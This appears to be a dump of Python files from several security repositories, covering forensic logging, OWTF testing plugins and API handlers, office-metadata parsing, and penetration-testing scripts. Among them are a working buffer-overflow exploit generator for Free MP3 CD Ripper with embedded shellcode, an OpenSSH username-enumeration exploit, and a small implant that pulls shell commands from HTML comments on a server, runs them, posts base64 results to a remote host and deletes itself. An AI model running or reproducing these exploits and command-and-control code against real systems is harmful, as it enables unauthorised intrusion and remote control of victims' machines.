# Initialize Forensic Logging
try:
print os.path.curdir
# If LOG should be overwritten before
# each run, the remove the old log
if LOG_OVERWRITE:
# Verify that the log exists before removing
if os.path.exists(SCRIPT_LOG):
os.remove(SCRIPT_LOG)
# Initialize the Log include the Level and message
logging.basicConfig(filename=SCRIPT_LOG, format='%(levelname)s\t:%(message)s', level=logging.DEBUG)
except:
print ("Failed to initialize Logging")
quit()
# End of Forensic Log Initialization
# Script Functions
'''
If you script will contain functions then insert them
here, before the execution of the main script. This
will ensure that the functions will be callable from
anywhere in your script
'''
# Function: GetTime()
#
# Returns a string containing the current time
#
# Script will use the local system clock, time, date and timezone
# to calcuate the current time. Thus you should sync your system
# clock before using this script
#
# Input: timeStyle = 'UTC', 'LOCAL', the function will default to
# UTC Time if you pass in nothing.
def GetTime(timeStyle = "UTC"):
if timeStyle == 'UTC':
return ('UTC Time: ', time.asctime(time.gmtime(time.time())))
else:
return ('LOC Time: ', time.asctime(time.localtime(time.time())))
# End GetTime Function ============================
# Function: LogEvent()
#
# Logs the event message and specified type
# Input:
# eventType: LOG_INFO, LOG_WARN, LOG_ERR, LOG_CRIT or LOG_DEBUG
# eventMessage : string containing the message to be logged
def LogEvent(eventType, eventMessage):
if type(eventMessage) == str:
try:
timeStr = GetTime('UTC')
# Combine current Time with the eventMessage
# You can specify either 'UTC' or 'LOCAL'
# Based on the GetTime parameter
eventMessage = str(timeStr)+": "+eventMessage
if eventType == LOG_INFO:
logging.info(eventMessage)
elif eventType == LOG_DEBUG:
logging.debug(eventMessage)
elif eventType == LOG_WARN:
logging.warning(eventMessage)
elif eventType == LOG_ERR:
logging.error(eventMessage)
elif eventType == LOG_CRIT:
logging.critical(eventMessage)
else:
logging.info(eventMessage)
except:
logging.warn("Event messages must be strings")
else:
logging.warn('Received invalid event message')
# End LogEvent Function =========================
# Main Script Starts Here
#
# Script Overview
#
# The purpose of this script it to provide an example
# script that demonstrate and leverage key capabilities
# of Python that provides direct value to the
# forensic investigator.
if __name__ == '__main__':
LogEvent(LOG_INFO, SCRIPT_NAME)
LogEvent(LOG_INFO, SCRIPT_VERSION)
LogEvent(LOG_INFO, "Script Started")
# Print Basic Script Information
# Parse the Command Line Arguments
# Try to parse the command line argument provided by MPE+
# Obtain the command line arguments using
# the system argument vector
# For MPE+ Scripts the length of the argument vector is
# always 2 scriptName, path
if len(argv) == 2:
scriptName, path = argv
else:
LogEvent(LOG_INFO, argv + " Invalid Command line")
quit()
LogEvent(LOG_INFO,"Command Line Argument Vector")
LogEvent(LOG_INFO,"Script Name: " + scriptName)
LogEvent(LOG_INFO,"Script Path: " + path)
# Verify the path exists and determine
# the path type
if os.path.exists(path):
LogEvent(LOG_INFO,"Path Exists")
if os.path.isdir(path):
LogEvent(LOG_INFO,"Path is a directory")
elif os.path.isfile(path):
LogEvent(LOG_INFO,"Path is a file")
else:
LogEvent(LOG_ERR, path + " is invalid")
else:
LogEvent(LOG_ERR, path + " Does not exist")
with open(SCRIPT_LOG, 'r') as logData:
for eachLine in logData:
print(eachLine)
| 28.790698 | 104 | 0.621955 |
owtf | """
GREP Plugin for Testing for CSRF (OWASP-SM-005)
https://www.owasp.org/index.php/Testing_for_CSRF_%28OWASP-SM-005%29
NOTE: GREP plugins do NOT send traffic to the target and only grep the HTTP Transaction Log
"""
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Searches transaction DB for CSRF protections"
def run(PluginInfo):
return plugin_helper.FindResponseBodyMatchesForRegexpName(
"RESPONSE_REGEXP_FOR_HIDDEN"
)
| 29.2 | 91 | 0.761062 |
Python-Penetration-Testing-for-Developers | #!/usr/bin/env python
'''
Author: Chris Duffy
Date: May 2015
Name: banner_grabber.py
Purpose: To provide a means to demonstrate a simple file upload proof of concept related to
exploiting Free MP3 CD Ripper.
Copyright (c) 2015, Christopher Duffy All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met: * Redistributions
of source code must retain the above copyright notice, this list of conditions and
the following disclaimer. * Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution. * Neither the
name of the nor the names of its contributors may be used to endorse or promote
products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL CHRISTOPHER DUFFY BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
'''
import struct
filename="exploit.wav"
fill ="A"*4112
#eip = struct.pack('<I',0x42424242) # EIP overwrite verfication
eip = struct.pack('<I',0x7C874413) # JMP ESP instruction from Kernel32.dll
offset = "\x90"*10
available_shellcode_space = 320
# Place for calc.exe shellcode
calc = ("\xba\x86\x2c\x9a\x7b\xd9\xc2\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"
"\x31\x83\xc6\x04\x31\x56\x0f\x03\x56\x89\xce\x6f\x87\x7d\x8c"
"\x90\x78\x7d\xf1\x19\x9d\x4c\x31\x7d\xd5\xfe\x81\xf5\xbb\xf2"
"\x6a\x5b\x28\x81\x1f\x74\x5f\x22\x95\xa2\x6e\xb3\x86\x97\xf1"
"\x37\xd5\xcb\xd1\x06\x16\x1e\x13\x4f\x4b\xd3\x41\x18\x07\x46"
"\x76\x2d\x5d\x5b\xfd\x7d\x73\xdb\xe2\x35\x72\xca\xb4\x4e\x2d"
"\xcc\x37\x83\x45\x45\x20\xc0\x60\x1f\xdb\x32\x1e\x9e\x0d\x0b"
"\xdf\x0d\x70\xa4\x12\x4f\xb4\x02\xcd\x3a\xcc\x71\x70\x3d\x0b"
"\x08\xae\xc8\x88\xaa\x25\x6a\x75\x4b\xe9\xed\xfe\x47\x46\x79"
"\x58\x4b\x59\xae\xd2\x77\xd2\x51\x35\xfe\xa0\x75\x91\x5b\x72"
"\x17\x80\x01\xd5\x28\xd2\xea\x8a\x8c\x98\x06\xde\xbc\xc2\x4c"
"\x21\x32\x79\x22\x21\x4c\x82\x12\x4a\x7d\x09\xfd\x0d\x82\xd8"
"\xba\xe2\xc8\x41\xea\x6a\x95\x13\xaf\xf6\x26\xce\xf3\x0e\xa5"
"\xfb\x8b\xf4\xb5\x89\x8e\xb1\x71\x61\xe2\xaa\x17\x85\x51\xca"
"\x3d\xe6\x34\x58\xdd\xc7\xd3\xd8\x44\x18")
# Place for actual shellcode
shell =()
#nop = "\x90"*(available_shellcode_space-len(shell)-len(offset))
#exploit = fill + eip + offset + shell + nop
exploit = fill + eip + offset + calc #loader for simple proof of concept for shell cdoe
#exploit = fill + eip + offset + shell #loader for real shell access
open('exploit.wav', 'w').close()
writeFile = open (filename, "w")
writeFile.write(exploit)
writeFile.close()
| 50.671875 | 91 | 0.757411 |
cybersecurity-penetration-testing | import requests
import re
from bs4 import BeautifulSoup
import sys
scripts = []
if len(sys.argv) != 2:
print "usage: %s url" % (sys.argv[0])
sys.exit(0)
tarurl = sys.argv[1]
url = requests.get(tarurl)
soup = BeautifulSoup(url.text)
for line in soup.find_all('script'):
newline = line.get('src')
scripts.append(newline)
for script in scripts:
if "jquery.min" in str(script).lower():
print script
url = requests.get(script)
comments = re.findall(r'\d[0-9a-zA-Z._:-]+',url.text)
if comments[0] == "2.1.1" or comments[0] == "1.12.1":
print "Up to date"
else:
print "Out of date"
print "Version detected: "+comments[0]
#try:
# if newline[:4] == "http":
# if tarurl in newline:
# urls.append(str(newline))
# elif newline[:1] == "/":
# combline = tarurl+newline
# urls.append(str(combline))
#except:
# pass
# print "failed"
#for uurl in urls:
# if "jquery" in url:
# | 20.642857 | 55 | 0.638767 |
owtf | from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
Content = plugin_helper.HtmlString("Intended to show helpful info in the future")
return Content
| 23.777778 | 85 | 0.765766 |
hackipy | #!/usr/bin/python3
try:
print("[>] Importing required modules")
from utilities import is_root, nothing, mac_is_valid, change_mac, generate_random_mac, get_current_mac, get_default_interface
import argparse
except ModuleNotFoundError:
print("[!] Missing modules, Exiting...")
exit()
else:
print("[>] Modules successfully imported")
print() # Just a line break
########################################################################
# User Defined Functions
########################################################################
def get_arguments():
"""This function will capture arguments from the command line if there are any and return them"""
parser = argparse.ArgumentParser(description="All arguments are optional")
parser.add_argument("-i", "--interface", dest="interface",
help="Interface of which mac address you wanna change")
parser.add_argument("-m", "--mac", dest="new_mac",
help="The new MAC address that you want")
parser.add_argument("-s", "--silent", dest="mute",
help="Show less output", action="store_true")
options = parser.parse_args()
return options.interface, options.new_mac, options.mute
########################################################################
# The main function
########################################################################
# Parsing the arguments
interface, new_mac, mute = get_arguments()
# Checking for privileges
if is_root():
nothing()
else:
print("[!] Script must be run as root")
exit()
# If the arguments are not provided, notify
if not interface:
print("[-] Interface not provided, selecting the default") if not mute else nothing()
interface = get_default_interface()
if not new_mac:
print("[-] Custom MAC not provided, generating a random MAC") if not mute else nothing()
new_mac = generate_random_mac()
print() if not mute else nothing() # Just a line break
# Getting the current MAC
mac_address_before_changing = get_current_mac(interface)
# Checking whether the new MAC is valid or not and performing operations accordingly
if mac_is_valid(new_mac):
print(
f"[>] Current MAC address is {mac_address_before_changing}") if not mute else nothing()
print(f"[>] Interface is set to {interface}") if not mute else nothing()
print(f"[>] New MAC is set to {new_mac}") if not mute else nothing()
# Changing the MAC
change_mac(new_mac, interface, mute)
else:
print("[!] Your provided MAC address is not valid, It should be in form of XX:XX:XX:XX:XX:XX and first two digits should be even")
exit()
print() if not mute else nothing() # Just a line break
# Checking whether the MAC address has changed or not
if mac_address_before_changing != get_current_mac(interface):
print("[+] MAC address changed successfully ;)")
else:
print("[-] MAC address is not changed due to some reason :(")
| 36.531646 | 134 | 0.610324 |
cybersecurity-penetration-testing | import zipfile
import os
from time import gmtime, strftime
from helper import utility
from lxml import etree
__author__ = 'Preston Miller & Chapin Bryce'
__date__ = '20160401'
__version__ = 0.01
__description__ = 'This scripts parses embedded metadata from office files'
def main(filename):
"""
The officeParser function confirms the file type and sends it to be processed.
:param filename: name of the file potentially containing embedded metadata.
:return: A dictionary from getTags, containing the embedded embedded metadata.
"""
# DOCX, XLSX, and PPTX signatures
signatures = ['504b030414000600']
if utility.checkHeader(filename, signatures, 8) is True:
return getTags(filename)
else:
raise TypeError
def getTags(filename):
"""
The getTags function extracts the office metadata from the data object.
:param filename: the path and name to the data object.
:return: tags and headers, tags is a dictionary containing office metadata and headers are the
order of keys for the CSV output.
"""
# Set up CSV headers
headers = ['Path', 'Name', 'Size', 'Filesystem CTime', 'Filesystem MTime', 'Title', 'Author(s)','Create Date',
'Modify Date', 'Last Modified By Date', 'Subject', 'Keywords', 'Description', 'Category', 'Status',
'Revision', 'Edit Time (Min)', 'Page Count', 'Word Count', 'Character Count', 'Line Count',
'Paragraph Count', 'Slide Count', 'Note Count', 'Hidden Slide Count', 'Company', 'Hyperlink Base']
# Create a ZipFile class from the input object. This allows us to read or write to the 'Zip archive'.
zf = zipfile.ZipFile(filename)
# These two XML files contain the embedded metadata of interest.
try:
core = etree.fromstring(zf.read('docProps/core.xml'))
app = etree.fromstring(zf.read('docProps/app.xml'))
except KeyError, e:
assert Warning(e)
return {}, headers
tags = dict()
tags['Path'] = filename
tags['Name'] = os.path.basename(filename)
tags['Size'] = utility.convertSize(os.path.getsize(filename))
tags['Filesystem CTime'] = strftime('%m/%d/%Y %H:%M:%S', gmtime(os.path.getctime(filename)))
tags['Filesystem MTime'] = strftime('%m/%d/%Y %H:%M:%S', gmtime(os.path.getmtime(filename)))
# Core Tags
for child in core.iterchildren():
if 'title' in child.tag:
tags['Title'] = child.text
if 'subject' in child.tag:
tags['Subject'] = child.text
if 'creator' in child.tag:
tags['Author(s)'] = child.text
if 'keywords' in child.tag:
tags['Keywords'] = child.text
if 'description' in child.tag:
tags['Description'] = child.text
if 'lastModifiedBy' in child.tag:
tags['Last Modified By Date'] = child.text
if 'created' in child.tag:
tags['Create Date'] = child.text
if 'modified' in child.tag:
tags['Modify Date'] = child.text
if 'category' in child.tag:
tags['Category'] = child.text
if 'contentStatus' in child.tag:
tags['Status'] = child.text
if filename.endswith('.docx') or filename.endswith('.pptx'):
if 'revision' in child.tag:
tags['Revision'] = child.text
# App Tags
for child in app.iterchildren():
if filename.endswith('.docx'):
if 'TotalTime' in child.tag:
tags['Edit Time (Min)'] = child.text
if 'Pages' in child.tag:
tags['Page Count'] = child.text
if 'Words' in child.tag:
tags['Word Count'] = child.text
if 'Characters' in child.tag:
tags['Character Count'] = child.text
if 'Lines' in child.tag:
tags['Line Count'] = child.text
if 'Paragraphs' in child.tag:
tags['Paragraph Count'] = child.text
if 'Company' in child.tag:
tags['Company'] = child.text
if 'HyperlinkBase' in child.tag:
tags['Hyperlink Base'] = child.text
elif filename.endswith('.pptx'):
if 'TotalTime' in child.tag:
tags['Edit Time (Min)'] = child.text
if 'Words' in child.tag:
tags['Word Count'] = child.text
if 'Paragraphs' in child.tag:
tags['Paragraph Count'] = child.text
if 'Slides' in child.tag:
tags['Slide Count'] = child.text
if 'Notes' in child.tag:
tags['Note Count'] = child.text
if 'HiddenSlides' in child.tag:
tags['Hidden Slide Count'] = child.text
if 'Company' in child.tag:
tags['Company'] = child.text
if 'HyperlinkBase' in child.tag:
tags['Hyperlink Base'] = child.text
else:
if 'Company' in child.tag:
tags['Company'] = child.text
if 'HyperlinkBase' in child.tag:
tags['Hyperlink Base'] = child.text
return tags, headers
| 36.919118 | 114 | 0.580295 |
PenTesting | #!/usr/bin/env python
# Copyright (c) 2018 Matthew Daley
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
# sell copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
# IN THE SOFTWARE.
import argparse
import logging
import paramiko
import socket
import sys
class InvalidUsername(Exception):
pass
def add_boolean(*args, **kwargs):
pass
old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
paramiko.common.MSG_SERVICE_ACCEPT]
def service_accept(*args, **kwargs):
paramiko.message.Message.add_boolean = add_boolean
return old_service_accept(*args, **kwargs)
def userauth_failure(*args, **kwargs):
raise InvalidUsername()
paramiko.auth_handler.AuthHandler._handler_table.update({
paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
})
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str)
arg_parser.add_argument('--port', type=int, default=22)
arg_parser.add_argument('username', type=str)
args = arg_parser.parse_args()
sock = socket.socket()
try:
sock.connect((args.hostname, args.port))
except socket.error:
print '[-] Failed to connect'
sys.exit(1)
transport = paramiko.transport.Transport(sock)
try:
transport.start_client()
except paramiko.ssh_exception.SSHException:
print '[-] Failed to negotiate SSH transport'
sys.exit(2)
try:
transport.auth_publickey(args.username, paramiko.RSAKey.generate(2048))
except InvalidUsername:
print '[*] Invalid username'
sys.exit(3)
except paramiko.ssh_exception.AuthenticationException:
print '[+] Valid username'
| 30.247059 | 78 | 0.754426 |
Python-Penetration-Testing-for-Developers | import shelve
def create():
shelf = shelve.open("mohit.raj", writeback=True)
shelf['desc'] ={}
shelf.close()
print "Dictionary is created"
def update():
shelf = shelve.open("mohit.raj", writeback=True)
data=(shelf['desc'])
port =int(raw_input("Enter the Port: "))
data[port]= raw_input("\n Enter the description\t")
shelf.close()
def del1():
shelf = shelve.open("mohit.raj", writeback=True)
data=(shelf['desc'])
port =int(raw_input("Enter the Port: "))
del data[port]
shelf.close()
print "\nEntry is deleted"
def list1():
print "*"*30
shelf = shelve.open("mohit.raj", writeback=True)
data=(shelf['desc'])
for key, value in data.items():
print key, ":", value
print "*"*30
print "\t Program to update or Add and Delete the port number detail\n"
while(True):
print "Press"
print "C for create only one time create"
print "U for Update or Add \nD for delete"
print "L for list the all values "
print "E for Exit "
c=raw_input("Enter : ")
if (c=='C' or c=='c'):
create()
elif (c=='U' or c=='u'):
update()
elif(c=='D' or c=='d'):
del1()
elif(c=='L' or c=='l'):
list1()
elif(c=='E' or c=='e'):
exit()
else:
print "\t Wrong Input"
| 19.274194 | 71 | 0.592357 |
owtf | """
tests.suite.parser
~~~~~~~~~~~~~~~~~~
Argument parser for the tests suite.
"""
from __future__ import print_function
import sys
import argparse
import unittest
from tests.suite import SUITES
def create_parser():
"""Create the different options for running the functional testing framework."""
parser = argparse.ArgumentParser(
description="""OWASP OWTF - Functional Testing Framework."""
)
parser.add_argument(
"-l",
"--list",
dest="list_suites",
default=False,
action="store_true",
help="List the available test suites.",
)
parser.add_argument(
"-s", "--suite", dest="suite", default="all", help="Name of the suite to test."
)
return parser
def print_list_suites():
categories = set()
for suite in SUITES:
if hasattr(suite, "categories"):
for el in suite.categories:
categories.add(el)
print("List of the available test suites:")
print("\t all")
for cat in categories:
print("\t", cat)
sys.exit(0)
def add_tests_to_suite(suite, opt):
new_suite = []
if "all" in opt:
new_suite = SUITES[:]
else:
for test_case in SUITES:
if hasattr(test_case, "categories") and opt in test_case.categories:
new_suite.append(test_case)
for test_case in new_suite:
for method in dir(test_case):
if method.startswith("test_"):
suite.addTest(test_case(method))
def get_suites(args):
"""Run the functional testing framework according to the parameters."""
suite = unittest.TestSuite()
options = create_parser().parse_args(args)
if options.list_suites:
print_list_suites()
if options.suite:
add_tests_to_suite(suite, options.suite)
return suite
| 24.527778 | 87 | 0.60479 |
cybersecurity-penetration-testing | import requests
import re
import subprocess
import time
import os
while 1:
req = requests.get("http://127.0.0.1")
comments = re.findall('<!--(.*)-->',req.text)
for comment in comments:
if comment = " ":
os.delete(__file__)
else:
try:
response = subprocess.check_output(comment.split())
except:
response = �command fail�
data={"comment":(''.join(response)).encode("base64")}
newreq = requests.post("http://127.0.0.1notmalicious.com/xss/easy/addguestbookc2.php ", data=data)
time.sleep(30)
| 24.619048 | 100 | 0.642458 |
cybersecurity-penetration-testing | #!/usr/bin/python
msg = raw_input('Please enter the string to encode: ')
print "Your B64 encoded string is: " + msg.encode('base64') | 26 | 59 | 0.69403 |
cybersecurity-penetration-testing | import requests
import re
from bs4 import BeautifulSoup
import sys
if len(sys.argv) !=2:
print "usage: %s targeturl" % (sys.argv[0])
sys.exit(0)
urls = []
tarurl = sys.argv[1]
url = requests.get(tarurl)
comments = re.findall('<!--(.*)-->',url.text)
print "Comments on page: "+tarurl
for comment in comments:
print comment
soup = BeautifulSoup(url.text)
for line in soup.find_all('a'):
newline = line.get('href')
try:
if newline[:4] == "http":
if tarurl in newline:
urls.append(str(newline))
elif newline[:1] == "/":
combline = tarurl+newline
urls.append(str(combline))
except:
pass
print "failed"
for uurl in urls:
print "Comments on page: "+uurl
url = requests.get(uurl)
comments = re.findall('<!--(.*)-->',url.text)
for comment in comments:
print comment | 22.657895 | 49 | 0.58686 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import mechanize
def viewPage(url):
browser = mechanize.Browser()
page = browser.open(url)
source_code = page.read()
print source_code
viewPage('http://www.syngress.com/')
| 14.733333 | 36 | 0.642553 |
cybersecurity-penetration-testing | import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
import sys
from scapy.all import *
if len(sys.argv) !=3:
print "usage: %s start_ip_addr end_ip_addr" % (sys.argv[0])
sys.exit(0)
livehosts=[]
#IP address validation
ipregex=re.compile("^([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])$")
if (ipregex.match(sys.argv[1]) is None):
print "Starting IP address is invalid"
sys.exit(0)
if (ipregex.match(sys.argv[1]) is None):
print "End IP address is invalid"
sys.exit(0)
iplist1 = sys.argv[1].split(".")
iplist2 = sys.argv[2].split(".")
if not (iplist1[0]==iplist2[0] and iplist1[1]==iplist2[1] and iplist1[2]==iplist2[2]):
print "IP addresses are not in the same class C subnet"
sys.exit(0)
if iplist1[3]>iplist2[3]:
print "Starting IP address is greater than ending IP address"
sys.exit(0)
networkaddr = iplist1[0]+"."+iplist1[1]+"."+iplist1[2]+"."
startiplastoctet = int(iplist1[3])
endiplastoctet = int(iplist2[3])
if iplist1[3]<iplist2[3]:
print "Pinging range "+networkaddr+str(startiplastoctet)+"-"+str(endiplastoctet)
else:
print "Pinging "+networkaddr+str(startiplastoctet)+"\n"
for x in range(startiplastoctet, endiplastoctet+1):
packet=IP(dst=networkaddr+str(x))/ICMP()
response = sr1(packet,timeout=2,verbose=0)
if not (response is None):
if response[ICMP].type==0:
livehosts.append(networkaddr+str(x))
print "Scan complete!\n"
if len(livehosts)>0:
print "Hosts found:\n"
for host in livehosts:
print host+"\n"
else:
print "No live hosts found\n" | 30.75 | 230 | 0.629713 |
owtf | """
owtf.api.handlers.transactions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"""
import logging
import tornado.gen
import tornado.httpclient
import tornado.web
from owtf.api.handlers.base import APIRequestHandler
from owtf.lib import exceptions
from owtf.lib.exceptions import InvalidParameterType, InvalidTargetReference, InvalidTransactionReference, APIError
from owtf.managers.transaction import (
delete_transaction,
get_all_transactions_dicts,
get_by_id_as_dict,
get_hrt_response,
search_all_transactions,
)
from owtf.managers.url import get_all_urls, search_all_urls
from owtf.api.handlers.jwtauth import jwtauth
__all__ = [
"TransactionDataHandler",
"TransactionHrtHandler",
"TransactionSearchHandler",
"URLDataHandler",
"URLSearchHandler",
]
@jwtauth
class TransactionDataHandler(APIRequestHandler):
"""Handle transaction data for the target by ID or all."""
SUPPORTED_METHODS = ["GET", "DELETE"]
def get(self, target_id=None, transaction_id=None):
"""Get transaction data by target and transaction id.
**Example request**:
.. sourcecode:: http
GET /api/v1/targets/5/transactions/2/ HTTP/1.1
X-Requested-With: XMLHttpRequest
**Example response**:
.. sourcecode:: http
HTTP/1.1 200 OK
Content-Encoding: gzip
Vary: Accept-Encoding
Content-Type: application/json; charset=UTF-8
{
"status": "success",
"data": {
"binary_response": false,
"response_headers": "Content-Length: 9605\\r\\nExpires: -1\\r\\nX-Aspnet-Version: 2.0.50727",
"target_id": 5,
"session_tokens": "{}",
"logout": null,
"raw_request": "GET http://demo.testfire.net/ HTTP/1.1",
"time_human": "0s, 255ms",
"data": "",
"id": 2,
"url": "http://demo.testfire.net/",
"response_body": "",
"local_timestamp": "01-04 15:42:08",
"response_size": 9605,
"response_status": "200 OK",
"scope": true,
"login": null,
"method": "GET"
}
}
"""
try:
if transaction_id:
self.success(get_by_id_as_dict(self.session, int(transaction_id), target_id=int(target_id)))
else:
# Empty criteria ensure all transactions
filter_data = dict(self.request.arguments)
self.success(get_all_transactions_dicts(self.session, filter_data, target_id=int(target_id)))
except exceptions.InvalidTargetReference:
raise APIError(400, "Invalid target reference provided")
except exceptions.InvalidTransactionReference:
raise APIError(400, "Invalid transaction referenced")
except exceptions.InvalidParameterType:
raise APIError(400, "Invalid parameter type provided")
def post(self, target_url):
raise APIError(405)
def put(self):
raise APIError(405)
def patch(self):
raise APIError(405)
def delete(self, target_id=None, transaction_id=None):
"""Delete a transaction.
**Example request**:
.. sourcecode:: http
DELETE /api/v1/targets/5/transactions/2/ HTTP/1.1
X-Requested-With: XMLHttpRequest
**Example response**:
.. sourcecode:: http
HTTP/1.1 200 OK
Content-Type: application/json
{
"status": "success",
"data": null
}
"""
try:
if transaction_id:
delete_transaction(self.session, int(transaction_id), int(target_id))
self.success(None)
else:
raise APIError(400, "Needs transaction id")
except exceptions.InvalidTargetReference:
raise APIError(400, "Invalid target reference provided")
@jwtauth
class TransactionHrtHandler(APIRequestHandler):
"""Integrate HTTP request translator tool."""
SUPPORTED_METHODS = ["POST"]
def post(self, target_id=None, transaction_id=None):
"""Get the transaction as output from the tool.
**Example request**:
.. sourcecode:: http
POST /api/v1/targets/5/transactions/hrt/2/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 13
language=bash
**Example response**:
.. sourcecode:: http
HTTP/1.1 200 OK
Content-Length: 594
Content-Type: text/html; charset=UTF-8
#!/usr/bin/env bash
curl -v --request GET http://demo.testfire.net/ --header "Accept-Language: en-US,en;q=0.5" \
--header "Accept-Encoding: gzip, deflate"
"""
try:
if transaction_id:
filter_data = dict(self.request.arguments)
self.write(get_hrt_response(self.session, filter_data, int(transaction_id), target_id=int(target_id)))
else:
raise APIError(400, "Needs transaction id")
except InvalidTargetReference:
raise APIError(400, "Invalid target reference provided")
except InvalidTransactionReference:
raise APIError(400, "Invalid transaction referenced")
except InvalidParameterType:
raise APIError(400, "Invalid parameter type provided")
@jwtauth
class TransactionSearchHandler(APIRequestHandler):
"""Search transaction data in the DB."""
SUPPORTED_METHODS = ["GET"]
def get(self, target_id=None):
"""Get transactions by target ID.
**Example request**:
.. sourcecode:: http
GET /api/v1/targets/5/transactions/search/ HTTP/1.1
X-Requested-With: XMLHttpRequest
**Example response**:
.. sourcecode:: http
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
{
"status": "success",
"data": {
"records_total": 0,
"records_filtered": 0,
"data": []
}
}
"""
if not target_id: # Must be a integer target id
raise APIError(400, "Missing target_id")
try:
# Empty criteria ensure all transactions
filter_data = dict(self.request.arguments)
filter_data["search"] = True
self.success(search_all_transactions(self.session, filter_data, target_id=int(target_id)))
except exceptions.InvalidTargetReference:
raise APIError(400, "Invalid target reference provided")
except exceptions.InvalidTransactionReference:
raise APIError(400, "Invalid transaction referenced")
except exceptions.InvalidParameterType:
raise APIError(400, "Invalid parameter type provided")
# To be deprecated!
class URLDataHandler(APIRequestHandler):
SUPPORTED_METHODS = ["GET"]
def get(self, target_id=None):
try:
# Empty criteria ensure all transactions
filter_data = dict(self.request.arguments)
self.write(get_all_urls(self.session, filter_data, target_id=int(target_id)))
except exceptions.InvalidTargetReference as e:
logging.warn(e.parameter)
raise tornado.web.HTTPError(400)
@tornado.web.asynchronous
def post(self, target_url):
raise tornado.web.HTTPError(405)
@tornado.web.asynchronous
def put(self):
raise tornado.web.HTTPError(405)
@tornado.web.asynchronous
def patch(self):
# TODO: allow modification of urls from the ui, may be adjusting scope etc.. but i don't understand
# it's use yet ;)
raise tornado.web.HTTPError(405) # @UndefinedVariable
@tornado.web.asynchronous
def delete(self, target_id=None):
# TODO: allow deleting of urls from the ui
raise tornado.web.HTTPError(405) # @UndefinedVariable
class URLSearchHandler(APIRequestHandler):
SUPPORTED_METHODS = ["GET"]
def get(self, target_id=None):
if not target_id: # Must be a integer target id
raise tornado.web.HTTPError(400)
try:
# Empty criteria ensure all transactions
filter_data = dict(self.request.arguments)
filter_data["search"] = True
self.write(search_all_urls(self.session, filter_data, target_id=int(target_id)))
except exceptions.InvalidTargetReference as e:
logging.warn(e.parameter)
raise tornado.web.HTTPError(400)
except exceptions.InvalidParameterType as e:
logging.warn(e.parameter)
raise tornado.web.HTTPError(400)
| 31.184397 | 118 | 0.584463 |
Hands-On-Penetration-Testing-with-Python | #! /usr/bin/python3.6
import threading
import time
import logging
logging.basicConfig(level=logging.DEBUG,
format='(%(threadName)-10s) %(message)s',
)
class Threads():
def __init__(self):
pass
def execute(self,type_):
logging.debug("Enter : " +str(type_))
time.sleep(4)
logging.debug("Exit " +str(type_))
obj=Threads()
t=threading.Thread(name="Demon",
target=obj.execute,args=("Demonic",))
t.setDaemon(True)
logging.debug("Main started")
t.start()
logging.debug("Main Ended")
#
| 20.32 | 61 | 0.642857 |